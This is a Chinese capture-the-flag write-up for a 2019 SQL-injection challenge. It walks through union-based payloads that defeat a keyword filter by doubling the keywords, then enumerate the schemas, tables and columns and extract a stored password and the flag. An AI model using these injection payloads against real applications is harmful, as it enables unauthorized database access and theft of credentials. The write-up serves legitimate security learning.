[极客大挑战 2019]BabySQL 1

[极客大挑战 2019]BabySQL 1

打开实例,源代码审计,发现登录请求check.php页面路径,采用get方法

根据题目可知这是sql注入,尝试万能密码无果

sql 复制代码
?username=admin' or 1=1 --+&password=admin

尝试order by、堆叠注入和union联合注入,发现都无效,怀疑字段被过滤(这边基本确定or被过滤)

尝试双写绕过,成功绕过

sql 复制代码
?username=admin' ununionion seselectlect 1,2,3%23&password=1

确定回显点为2,3

sql 复制代码
?username=1' ununionion seselectlect 1,2,3%23&password=1

爆库,from和infomation被过滤,双写绕过,发现数据库geek和ctf

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata%23&password=1

爆表

双写绕过payload

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="geek"%23&password=1

获得数据表b4bsql,geekuser,双写爆字段

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=1

查表数据,发现password也被过滤

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(id,username,password) frfromom b4bsql%23&password=1

双写绕过

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(passwoorrd) frfromom b4bsql%23&password=1

获得password: i_want_to_play_2077,提交发现不是正确的flag,转向ctf表

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf"%23&password=1

发现Flag表

爆字段,发现flag字段

sql 复制代码
?username=1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'%23&password=1

查表,显示当前不在数据库ctf中

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom Flag%23&password=1

小改一波,flag到手

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom ctf.Flag%23&password=1

手**

sql 复制代码
?username=1' ununionion seselectlect 1,2,concat(flag) frfromom ctf.Flag%23&password=1
相关推荐
yourkin666几秒前
TCP...
服务器·网络·tcp/ip
人间打气筒(Ada)17 分钟前
MySQL优化
数据库·mysql
cookies_s_s26 分钟前
Linux--进程(进程虚拟地址空间、页表、进程控制、实现简易shell)
linux·运维·服务器·数据结构·c++·算法·哈希算法
小蒜学长1 小时前
医疗报销系统的设计与实现(代码+数据库+LW)
数据库·spring boot·学习·oracle·课程设计
终端行者1 小时前
kubernetes1.28部署mysql5.7主从同步,使用Nfs制作持久卷存储,适用于centos7/9操作系统,
数据库·容器·kubernetes
羊小猪~~1 小时前
MYSQL学习笔记(九):MYSQL表的“增删改查”
数据库·笔记·后端·sql·学习·mysql·考研
我们的五年1 小时前
MySQL 架构
数据库·mysql·开源
诶尔法Alpha1 小时前
Linux上使用dify构建RAG
linux·运维·服务器
橘猫云计算机设计2 小时前
基于SSM的《计算机网络》题库管理系统(源码+lw+部署文档+讲解),源码可白嫖!
java·数据库·spring boot·后端·python·计算机网络·毕设
ok0602 小时前
oracle怎么创建定时任务
数据库·oracle